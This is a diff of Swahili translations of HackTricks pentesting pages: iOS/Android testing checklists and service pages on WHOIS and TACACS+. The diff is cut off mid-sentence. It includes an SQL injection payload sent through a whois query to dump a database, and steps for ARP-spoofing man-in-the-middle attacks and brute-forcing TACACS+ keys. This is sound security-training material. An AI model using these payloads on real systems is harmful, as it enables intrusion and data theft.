(Hacktricks ina habari nyingi kuhusu udhaifu wa Wavuti). +* [ ] Angalia uwezekano wa [Majumuisho ya Upande wa Mteja wa Android](android-app-pentesting/#android-client-side-injections-and-others) (labda uchambuzi wa msimbo wa tuli utasaidia hapa) +* [ ] [Frida](android-app-pentesting/#frida): Tu Frida, itumie kupata data ya kuvutia ya kudumu kutoka kwenye programu (labda nywila fulani...) ### Baadhi ya habari za ufichaji/Deobfuscation diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index 9ba60e20a..0e956d78f 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -3,104 +3,136 @@
\ -Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kuautomatisha mchakato** wa kazi zinazotumia zana za jamii za **kisasa zaidi** duniani.\ +Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za jamii za **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ### Maandalizi * [ ] Soma [**Misingi ya iOS**](ios-pentesting/ios-basics.md) -* [ ] Jipange kwa kusoma [**Mazingira ya Kujaribu iOS**](ios-pentesting/ios-testing-environment.md) -* [ ] Soma sehemu zote za [**Uchambuzi wa Awali wa iOS**](ios-pentesting/#initial-analysis) ili kujifunza hatua za kawaida za kudukua programu ya iOS +* [ ] Andaa mazingira yako kwa kusoma [**Mazingira ya Majaribio ya iOS**](ios-pentesting/ios-testing-environment.md) +* [ ] Soma sehemu zote za [**Uchambuzi wa Awali wa iOS**](ios-pentesting/#initial-analysis) kujifunza hatua za kawaida za kudukua programu ya iOS ### Uhifadhi wa Data * [ ] [**Faili za Plist**](ios-pentesting/#plist) zinaweza kutumika kuhifadhi habari nyeti. -* [ ] [**Core Data**](ios-pentesting/#core-data) (Hifadhidata ya SQLite) inaweza kuhifadhi habari nyeti. -* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (Hifadhidata ya SQLite) inaweza kuhifadhi habari nyeti. -* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) inaweza kuwa na hitilafu ya usanidi. -* [ ] [**Hifadhidata za Realm**](ios-pentesting/#realm-databases) zinaweza kuhifadhi habari nyeti. -* [ ] [**Hifadhidata za Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) zinaweza kuhifadhi habari nyeti. -* [ ] [**Vidakuzi vya Binary**](ios-pentesting/#cookies) vinaweza kuhifadhi habari nyeti. -* [ ] [**Data ya Cache**](ios-pentesting/#cache) inaweza kuhifadhi habari nyeti. -* [ ] [**Picha za moja kwa moja**](ios-pentesting/#snapshots) zinaweza kuhifadhi habari nyeti za kuonekana. -* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumiwa kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu. -* [ ] Kwa ufupi, tu **angalia habari nyeti iliyohifadhiwa na programu kwenye mfumo wa faili** +* [ ] [**Core Data**](ios-pentesting/#core-data) (database ya SQLite) inaweza kuhifadhi habari nyeti. +* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (database ya SQLite) inaweza kuhifadhi habari nyeti. +* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) usio sahihi. +* [ ] [**Databases za Realm**](ios-pentesting/#realm-databases) zinaweza kuhifadhi habari nyeti. +* [ ] [**Databases za Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) zinaweza kuhifadhi habari nyeti. +* [ ] [**Cookies za Binary**](ios-pentesting/#cookies) zinaweza kuhifadhi habari nyeti +* [ ] [**Data za Cache**](ios-pentesting/#cache) zinaweza kuhifadhi habari nyeti +* [ ] [**Snapshots za Kiotomatiki**](ios-pentesting/#snapshots) zinaweza kuhifadhi habari nyeti za kuona +* [ ] [**Keychain**](ios-pentesting/#keychain) kawaida hutumika kuhifadhi habari nyeti ambayo inaweza kuachwa wakati wa kuuza simu. +* [ ] Kwa muhtasari, tu **angalia habari nyeti iliyohifadhiwa na programu kwenye mfumo wa faili** ### Vibodi -* [ ] Je! programu inaruhusu matumizi ya [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)? +* [ ] Je! Programu inaruhusu kutumia [**vibodi za desturi**](ios-pentesting/#custom-keyboards-keyboard-cache)? * [ ] Angalia ikiwa habari nyeti imehifadhiwa kwenye [**faili za vibodi**](ios-pentesting/#custom-keyboards-keyboard-cache) ### **Kumbukumbu** -* [ ] Angalia ikiwa [**habari nyeti inaandikwa kwenye kumbukumbu**](ios-pentesting/#logs) +* [ ] Angalia ikiwa [**habari nyeti inalogwa**](ios-pentesting/#logs) ### Nakala za Akiba -* [ ] [**Nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika ku **fikia habari nyeti** iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya awali ya orodha hii) -* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kubadilisha baadhi ya mipangilio ya programu, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **kubebwa**, baadhi ya (usalama) **utendaji** unaweza **kuepukwa** +* [ ] [**Nakala za Akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kupata habari nyeti** iliyohifadhiwa kwenye mfumo wa faili (angalia hatua ya kwanza ya orodha hii) +* [ ] Pia, [**nakala za akiba**](ios-pentesting/#backups) zinaweza kutumika kwa **kurekebisha baadhi ya mipangilio ya programu**, kisha **kurejesha** nakala ya akiba kwenye simu, na kwa kuwa **mipangilio iliyobadilishwa** ina **pakia** baadhi ya (usalama) **kazi** inaweza **kipuuzwa** ### **Kumbukumbu za Programu** * [ ] Angalia habari nyeti ndani ya [**kumbukumbu za programu**](ios-pentesting/#testing-memory-for-sensitive-data) -### **Ufichuzi wa Utendaji Nyeti Kupitia IPC** +### **Udanganyifu wa Kriptografia** + +* [ ] Angalia ikiwa unaweza kupata [**nywila zilizotumiwa kwa kriptografia**](ios-pentesting/#broken-cryptography) +* [ ] Angalia matumizi ya [**algorithms zilizopitwa/zwafu**](ios-pentesting/#broken-cryptography) kutuma/kuhifadhi data nyeti +* [ ] [**Kaa na fuatilia kazi za kriptografia**](ios-pentesting/#broken-cryptography) + +### **Uthibitishaji wa Kienyeji** + +* [ ] Ikiwa [**uthibitishaji wa kienyeji**](ios-pentesting/#local-authentication) unatumika kwenye programu, unapaswa kuangalia jinsi uthibitishaji unavyofanya kazi. +* [ ] Ikiwa inatumia [**Itifaki ya Uthibitishaji wa Kienyeji**](ios-pentesting/#local-authentication-framework) inaweza kudukuliwa kwa urahisi +* [ ] Ikiwa inatumia [**kazi ambayo inaweza kudukuliwa kwa muda**](ios-pentesting/#local-authentication-using-keychain) unaweza kuunda skripti ya frida ya desturi + +### Kufichua Kazi Nyeti Kupitia IPC * [**Wakala wa URI wa Desturi / Viungo vya Kina / Mbinu za Desturi**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes) -* [ ] Angalia ikiwa programu ina **usajili wa itifaki/scheme** yoyote -* [ ] Angalia ikiwa programu ina **usajili wa kutumia** itifaki/scheme yoyote -* [ ] Angalia ikiwa programu inatarajia kupokea aina yoyote ya habari nyeti kutoka kwa itifaki ya desturi ambayo inaweza **kukamatwa** na programu nyingine inayosajili itifaki hiyo hiyo -* [ ] Angalia ikiwa programu **haiangalii na kusafisha** kuingia kwa mtumiaji kupitia itifaki ya desturi na baadhi ya **mdororo unaweza kutumiwa** -* [ ] Angalia ikiwa programu **inafichua hatua nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia itifaki ya desturi +* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu** +* [ ] Angalia ikiwa programu ina **kujiandikisha kutumia** itifaki/mbinu yoyote +* [ ] Angalia ikiwa programu ina **tarajia kupokea aina yoyote ya habari nyeti** kutoka kwa mbinu ya desturi ambayo inaweza **kutekwa** na programu nyingine inayojiandikisha itifaki sawa +* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa** +* [ ] Angalia ikiwa programu **inafichua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi * [**Viungo vya Kina**](ios-pentesting/#universal-links) -* [ ] Angalia ikiwa programu ina **usajili wa itifaki/scheme ya kawaida** +* [ ] Angalia ikiwa programu ina **kujiandikisha itifaki/mbinu za kina** * [ ] Angalia faili ya `apple-app-site-association` -* [ ] Angalia ikiwa programu **haiangalii na kusafisha** kuingia kwa mtumiaji kupitia itifaki ya desturi na baadhi ya **mdororo unaweza kutumiwa** -* [ ] Angalia ikiwa programu **inafichua hatua nyeti** ambayo inaweza kuitwa kutoka mahali popote kupitia itifaki ya desturi -* [**Kushiriki UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) -* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa inawezekana kudukua mdororo wowote na shughuli iliyoundwa kwa umakini -* [**Ubao wa Kukopi**](ios-pentesting/ios-uipasteboard.md) -* [ ] Angalia ikiwa programu ina **nakala chochote kwenye ubao wa kukopi wa kawaida** -* [ ] Angalia ikiwa programu inatumia data kutoka kwenye ubao wa kukopi wa kawaida kwa chochote -* [ ] Fuatilia ubao wa kukopi kuona ikiwa kuna **habari nyeti inayokopwa** -* [**Vifaa vya Programu**](ios-pentesting/ios-app-extensions.md +* [ ] Angalia ikiwa programu **haichunguzi na kusafisha** mwingiliano wa mtumiaji kupitia mbinu ya desturi na baadhi ya **udhaifu unaweza kutumiwa** +* [ ] Angalia ikiwa programu **inafichua hatua yoyote nyeti** inayoweza kuitwa kutoka mahali popote kupitia mbinu ya desturi +* [**Kushiriki Kupitia UIActivity**](ios-pentesting/ios-uiactivity-sharing.md) +* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa ni rahisi kutumia udhaifu wowote na shughuli iliyoundwa kwa umakini +* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md) +* [ ] Angalia ikiwa programu ina **nakala kitu chochote kwenye ubao wa kawaida** +* [ ] Angalia ikiwa programu ina **tumia data kutoka kwa ubao wa kawaida kwa kitu chochote** +* [ ] Fuatilia ubao wa kubandika kuona ikiwa kuna **data nyeti inayobandikwa** +* [**Vifaa vya Programu**](ios-pentesting/ios-app-extensions.md) +* [ ] Je! Programu inatumia **nyongeza yoyote**? +* [**WebViews**](ios-pentesting/ios-webviews.md) +* [ ] Angalia aina gani ya webviews inatumika +* [ ] Angalia hali ya **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`** +* [ ] Angalia ikiwa webview inaweza **kufikia faili za ndani** kwa itifaki ya **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`) +* [ ] Angalia ikiwa Javascript inaweza kufikia **njia za Asili** (`JSContext`, `postMessage`) ### Mawasiliano ya Mtandao -* [ ] Fanya [**MitM kwa mawasiliano**](ios-pentesting/#network-communication) na tafuta udhaifu wa wavuti. -* [ ] Angalia ikiwa [**jina la mwenyeji wa cheti**](ios-pentesting/#hostname-check) linakaguliwa. -* [ ] Angalia/Pitisha [**Certificate Pinning**](ios-pentesting/#certificate-pinning). +* [ ] Fanya [**MitM kwa mawasiliano**](ios-pentesting/#network-communication) na utafute mapungufu ya wavuti. +* [ ] Angalia ikiwa [**jina la mwenyeji wa cheti**](ios-pentesting/#hostname-check) limehakikiwa +* [ ] Angalia/Pitisha [**Certificate Pinning**](ios-pentesting/#certificate-pinning) -### **Misc** +### **Mbalimbali** -* [ ] Angalia [**mifumo ya kusasisha/kusahihisha moja kwa moja**](ios-pentesting/#hot-patching-enforced-updateing). -* [ ] Angalia [**maktaba za tatu zenye nia mbaya**](ios-pentesting/#third-parties). +* [ ] Angalia [**njia za kiotomatiki za kusasisha**](ios-pentesting/#hot-patching-enforced-updateing) +* [ ] Angalia [**maktaba za tatu zenye nia mbaya**](ios-pentesting/#third-parties) + +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %}
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee. -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -108,7 +140,7 @@ Njia nyingine za kusaidia HackTricks:
\ -Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kuendesha mchakato** wa kiotomatiki uliojengwa na zana za jamii **za juu zaidi** duniani.\ +Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\ Pata Ufikiaji Leo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 193265969..643ab8fb5 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -1,23 +1,30 @@
-Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** # Taarifa Msingi -Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia databases maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kujitegemea, kati ya zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa taarifa. +Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia maktaba maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kiotomatiki, miongoni mwa zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa habari. -**Bandari ya chaguo-msingi:** 43 +**Bandari ya chaguo:** 43 ``` PORT STATE SERVICE 43/tcp open whois? @@ -29,16 +36,22 @@ Pata taarifa zote ambazo huduma ya whois ina kuhusu kikoa: whois -h -p "domain.tld" echo "domain.ltd" | nc -vn ``` -Tambua kuwa mara nyingine unapouliza habari fulani kwa huduma ya WHOIS, database inayotumiwa inaonekana kwenye jibu: +Kumbuka kwamba mara nyingine unapouliza habari fulani kwa huduma ya WHOIS, **database** inayotumiwa inaonekana kwenye jibu: ![](<../.gitbook/assets/image (147).png>) -Pia, huduma ya WHOIS daima inahitaji kutumia **database** kuweka na kutoa habari. Kwa hivyo, **SQLInjection** inaweza kuwepo wakati wa **kuuliza** database kutoka kwa habari fulani iliyotolewa na mtumiaji. Kwa mfano, kwa kufanya: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` unaweza kuweza **kutoa habari zote** zilizohifadhiwa kwenye database. +Pia, huduma ya WHOIS daima inahitaji kutumia **database** kuhifadhi na kutoa habari. Kwa hivyo, **SQLInjection** inaweza kuwepo wakati wa **kuuliza** database kutoka kwa habari iliyotolewa na mtumiaji. Kwa mfano kufanya: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` unaweza kuweza **kutoa** habari yote iliyohifadhiwa kwenye database. # Shodan * `port:43 whois` +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + # Amri za Kiotomatiki za HackTricks ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. @@ -61,14 +74,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4 ```
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index f312abf95..0d9763f4a 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -1,64 +1,77 @@ -# 49 - Kupima Usalama wa TACACS+ +# 49 - Pentesting TACACS+
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Taarifa Msingi -Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumiwa kwa kuthibitisha watumiaji wanaojaribu kupata mitambo au Seva za Kufikia Mtandao (NAS) kwa njia ya kati. Toleo lake lililoboreshwa, **TACACS+**, linagawanya huduma katika uthibitishaji, idhini, na uhasibu (AAA). +Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumika kuthibitisha watumiaji kwa kati wanajaribu kupata mitambo au Seva za Kufikia Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, huchukua huduma na kuzigawa katika uthibitishaji, idhini, na uhasibu (AAA). ``` PORT STATE SERVICE 49/tcp open tacacs ``` -**Bandari ya chaguo-msingi:** 49 +**Bandari ya chaguo:** 49 -## Kukamata Ufunguo wa Uthibitishaji +## Kukamata Kitufe cha Uthibitisho -Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mshambuliaji, **ufunguo wa uthibitishaji uliyofichwa unaweza kukamatwa**. Mshambuliaji kisha anaweza kujaribu **shambulio la nguvu la ndani dhidi ya ufunguo bila kugunduliwa katika magogo**. Ikiwa shambulio la nguvu linafanikiwa, mshambuliaji anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark. +Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mkaidi, **kitufe cha uthibitisho kilichofichwa kinaweza kukamatwa**. Mkaidi kisha anaweza kujaribu **shambulio la nguvu la ndani dhidi ya kitufe bila kugunduliwa katika magogo**. Ikiwa mafanikio katika shambulio la nguvu dhidi ya kitufe, mkaidi anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark. ### Kutekeleza Shambulio la MitM -Shambulio la kughushi ARP linaweza kutumiwa kutekeleza shambulio la Man-in-the-Middle (MitM). +Shambulio la kughushi ARP linaweza kutumika kutekeleza shambulio la Mtu katikati (MitM). -### Shambulio la Nguvu dhidi ya Ufunguo +### Shambulio la Nguvu dhidi ya Kitufe -[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kufanya shambulio la nguvu dhidi ya ufunguo: +[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kufanya shambulio la nguvu dhidi ya kitufe: ``` sudo loki_gtk.py ``` -Ikiwa ufunguo unavunjwa kwa mafanikio (**kawaida katika muundo uliofichwa wa MD5**), **tunaweza kupata vifaa na kufichua trafiki iliyofichwa ya TACACS**. +Ikiwa funguo inabomolewa kwa mafanikio (**kawaida katika muundo uliofichwa wa MD5)**, **tunaweza kupata ufikiaji wa vifaa na kufichua trafiki iliyofichwa ya TACACS.** ### Kufichua Trafiki -Baada ya ufunguo kuvunjwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa ufunguo unatolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama **bango lililotumiwa na jina la mtumiaji wa mtawala** inaweza kupatikana. +Marudio ikiwa imevunjwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa funguo imetolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama **bango lililotumiwa na jina la mtumiaji wa mtumiaji wa mizizi** inaweza kupatikana. -Kwa kupata 